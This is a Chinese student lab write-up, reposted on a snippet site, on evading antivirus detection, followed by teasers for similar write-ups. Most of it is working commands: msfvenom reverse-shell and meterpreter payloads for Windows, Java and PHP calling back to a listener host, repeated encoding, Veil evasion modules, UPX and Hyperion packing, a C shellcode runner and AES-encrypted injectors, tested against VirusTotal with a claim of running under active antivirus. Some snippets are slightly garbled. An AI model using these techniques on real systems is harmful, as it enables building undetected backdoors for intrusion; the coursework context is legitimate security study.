exp3-免杀原理与实践(代码片段)

氧气2019 氧气2019     2022-10-21     560

关键词:

Exp3-免杀原理与实践

1 基础问题回答

  • 1.1 杀软是如何检测出恶意代码的?
  • 1.2 免杀是做什么?
  • 1.3 免杀的基本方法有哪些?
  • 1.4 开启杀软能绝对防止电脑中恶意代码吗?

2 实验环境

免杀测试平台:https://www.virustotal.com/

3 实践内容

3.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

3.1.1 检测实验2中生成的后门程序

3.1.2 编码一次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\\x00’ LHOST=172.30.7.176 LPORT=1227 -f exe > shell1.exe

发现一个奇妙的事情,不编码杀软还杀不出来,一编码大多数杀软就杀出来了,这里我有一个猜测,杀软检测的特征码是unicode_mixed编码器。还有一种可能,就是编码后恰好将原有的码编译成了可被杀软检测的特征码。

3.1.2 编码10次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -10 -b ‘\\x00’ LHOST=172.30.7.176 LPORT=1227 -f exe > shell10.exe


这里就验证了我们3.1.1的猜想,本身的反弹连接杀软是杀不出来的,在他编码后却可以被杀出来,所以,杀软检测的特征码是unicode_mixed编码器的机器码。

  • -e选择编码器,-b是payload中需要去除的字符,该命令中为了使\'\\x00\'不出现在shellcode中,因为shellcode以\'\\x00\'为结束符,-i设置迭代次数

3.2 生成jar文件

JAR文件是一种归档文件,以ZIP格式构建,以.jar为文件扩展名。

msfvenom -p java/shell_reverse_tcp  LHOST=172.30.7.176 LPORT=1227 -f jar > shell.jar




生成压缩包文件后检测率明显降低了,且有一些杀软都无法检测。

后续如果要自己写免杀,且我要使用jar格式的话,直接找上图中的杀毒软件哈哈哈哈哈哈哈

3.3 生成php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=172.30.7.176 LPORT=1227 x> shell.php 


检测率明显降低了很多

3.4 veil,加壳工具

3.4.1 veil

3.4.1.1 下载(其实先下载wine32会快点)
sudo apt-get install veil-evasion
下载成功后
cd /usr/share/veil/config
vim setup.sh
将250行左右的内容修改为 sudo git clone https://gitee.com/spears/VeilDependencies.git
修改成功后
veil
等待安装
3.4.1.2 使用
veil
use evasion     或者    use 1
use c/meterpreter/rev_tcp.py
set LHOST 172.30.7.176
set LPORT 1227
generate
输入文件名的时候信息量尽量全面,免得文件多了会混淆


输入list可以查看各种模式

3.4.2 加壳

upx shell10.exe -o shell10_upx.exe


加密过的代码信息熵太高,也会被查出来(信息密度太大),不过相比不加壳来说还是有点效果。

3.5 使用C + shellcode编程

3.5.1 生成c文件,得到机器码

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.7.176 LPORT=1227 -f c

3.5.2 补充代码shell_c.c(注意缩进,vim里调整更方便)

int main()

int (*func)() = (int(*)())buf;
func();

3.5.3 跨平台交叉编译

i686-w64-mingw32-g++ shell_c.c -o shell_c.exe


按照常理来说,c编译应该是会跟直接生成exe一样杀不出来才对,而这里却杀出来了,但是比编码要强一点,我在想会不会是因为编译平台的原因,虽然是跨平台交叉编译,但是在Linux端编译被记录下来了,就像这个例子:一个exe文件却在Linux平台编译,有点可疑。

3.6 通过组合应用各种技术实现恶意代码免杀

3.6.1 c+shellcode+Hyperion

3.6.1.1 下载Hyperion2.2
wget https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-2.2.zip
(如果拒绝连接:1、sudo vim /etc/hosts
               2、添加一个条目 199.232.28.133 raw.githubusercontent.com)
下载Hyperion2.2

unzip Hyperion-2.2.zip

3.6.1.2修改makefile,make

vim Makefile
编译方法改成交叉编译i686-w64-mingw32-gcc
make


3.6.1.3 加壳

wine hyperion.exe -v shell_c.exe shell_c_hyperion.exe

注意要在一个文件夹内,最好是在Hyperion2.2文件夹内,要不然找不到运行的程序位置

3.6.2 python+aes_encrypt

3.6.2.1 打开veil,选择Evasion

veil
use 1
list##寻找palyload

3.6.2.2 使用aes_encrypt_py生成后门

use python/shellcode_inject/aes_encrypt.py
generate
选择2


这里的原理便是使用了数据加密的方式进行多次编译后门软件

3.7 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功

实验体会与总结

在第一个此实验第一题编码中,发现一个奇妙的事情:不编码杀软还杀不出来,一编码大多数杀软就杀出来了,这里我有一个猜测,杀软检测的特征码是unicode_mixed编码器。还有一种可能,就是编码后恰好将原有的码编译成了可被杀软检测的特征码。编码十次后发现检测率惊人相似,只减少了一个。这就验证了我们的猜想了,就是杀的unicode_mixed的特征码。

20165306exp3免杀原理与实践(代码片段)

Exp3免杀原理与实践一、实践内容概述1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程2.通过组合应用各种技术实现恶意代码免杀3.用另一电脑实测,在杀软开启的情况下,可运行并回... 查看详情

20165218《网络对抗技术》exp3免杀原理与实践(代码片段)

Exp3免杀原理与实践任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧使用VirusTotal或Viscan网站扫描后门程序VirusTotalViscan免杀工具1——msfvenom使用编码器-使用msfvenom命... 查看详情

exp3免杀原理与实践20154301仉鑫烨(代码片段)

20154301Exp3免杀原理与实践仉鑫烨一、实践内容正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;通过组合应用各种技术实现恶意代码免杀;用另一电脑实测,在杀软开启的情... 查看详情

20155330《网络攻防》exp3免杀原理与实践(代码片段)

20155330《网络攻防》Exp3免杀原理与实践基础问题回答杀软是如何检测出恶意代码的?基于特征码。先对流行代码特征的提取,然后进行程序的比对,如果也检测到相应的特征码的程序即为检测出恶意代码。基于行为。杀软通过检... 查看详情

20154307《网络对抗》exp3免杀原理与实践(代码片段)

20154307《网络对抗》Exp3免杀原理与实践一、基础问题回答(1)杀软是如何检测出恶意代码的?基于特征码的检测:杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。启发式恶意软件... 查看详情

2017-2018-2《网络对抗技术》20155322exp3免杀原理与实践(代码片段)

#2017-2018-2《网络对抗技术》20155322Exp3免杀原理与实践[-=博客目录=-]1-实践目标1.1-实践介绍1.2-实践内容1.3-实践要求2-实践过程2.1-正确使用msf编码器2.2-veil-evasion2.3-组合应用技术实现免杀2.4-靶机实测2.5-基础问题回答3-资料1-实践目... 查看详情

20155236范晨歌_exp3免杀原理与实践(代码片段)

20155236范晨歌_免杀原理与实践免杀概述免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写VirusAV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。被谁杀?当然是被杀毒软件(引擎)... 查看详情

2018-2019-220165114《网络对抗技术》exp3免杀原理与实践(代码片段)

Exp3免杀原理与实践目录一、实验内容二、基础问题回答(1)杀软是如何检测出恶意代码的?(2)免杀是做什么?(3)免杀的基本方法有哪些?三、实践过程记录正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用... 查看详情

exp3免杀原理与实践(代码片段)

Exp3免杀原理与实践这次的实验令我非常兴奋,因为要对抗的是各大杀毒软件厂商,所以事先得做好很多功课。另一方面我也想看看metasploit在这场猫鼠游戏中能不能走在安全厂商的前面。这次的目标免杀平台是64位windows7SP1,我用... 查看详情

20155202张旭exp3免杀原理与实践(代码片段)

20155202张旭Exp3免杀原理与实践AV厂商检测恶意软件的方式主流的就三种:基于特征码的检测启发式恶意软件检测基于行为的恶意软件检测我们要做的就是让我们的恶意软件没法被这三种方式找到,也就是免杀。具体的手段有:改... 查看详情

exp3免杀原理与实践——20164316张子遥(代码片段)

...用shellcode编程(2)通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电... 查看详情

20155232《网络对抗》exp3免杀原理与实践(代码片段)

20155232《网络对抗》Exp3免杀原理与实践问题回答1.基础问题回答(1)杀软是如何检测出恶意代码的?基于特征码的检测特征码:一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据... 查看详情

2018~2019-420165107网络对抗技术exp3免杀原理与实践(代码片段)

20165107Exp3免杀原理与实践实验要求1、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,自己利用shellcode编程等免杀工具或技巧2、通过组合应用各种技术实现恶意代码免杀3、用另一电脑实测,在杀软开... 查看详情

2018-2019-220165313exp3免杀原理与实践(代码片段)

...如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)1.2通过组合应用各种技术实现恶意代码免杀(1分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)1.3用... 查看详情

exp3免杀原理与实践20164314郭浏聿(代码片段)

...用shellcode编程 2.通过组合应用各种技术实现恶意代码免杀(0.5分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。) 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,... 查看详情

2018-2019-220165205网络攻防exp3免杀原理与实践(代码片段)

2018-2019-220165205网络攻防Exp3免杀原理与实践一、实践内容1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程1.1.1正确使用msf编码器尝试用msf编码器对后门程序进行多次编码,尝试降低被... 查看详情

exp3免杀原理与实践20164309(代码片段)

...如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧1.1MSF编码器直接使用上次实验的20164309_backdoor.exe试试看来文件名违法了,那改名为164309_backdoor。改名后直接被清理。。看来裸奔的后门的确不好使。 找... 查看详情

exp3免杀原理与实践(代码片段)

一、基础问题回答(1)杀软是如何检测出恶意代码的?       ①基于特征码的检测:AV软件厂商通过检测一个可执行文件是否包含一段与特征码库中相匹配的特征码从而判断是否为恶意软件。  &nb... 查看详情